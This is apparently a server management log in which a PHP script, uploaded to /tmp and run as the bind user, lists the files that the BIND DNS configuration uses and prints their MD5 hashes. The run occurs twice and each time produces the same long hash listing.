MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:00:31: Establishing a connection
2026-04-25 20:00:31: 

PUT: /tmp/pkp502914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:00:31: 

runuser -l bind -s /bin/bash -c '/tmp/pkp502914; rm /tmp/pkp502914'

2026-04-25 20:00:31: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 20:00:33: Establishing a connection
2026-04-25 20:00:34: 

PUT: /tmp/pkp280608

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 20:00:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp280608; rm /tmp/pkp280608'

2026-04-25 20:00:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
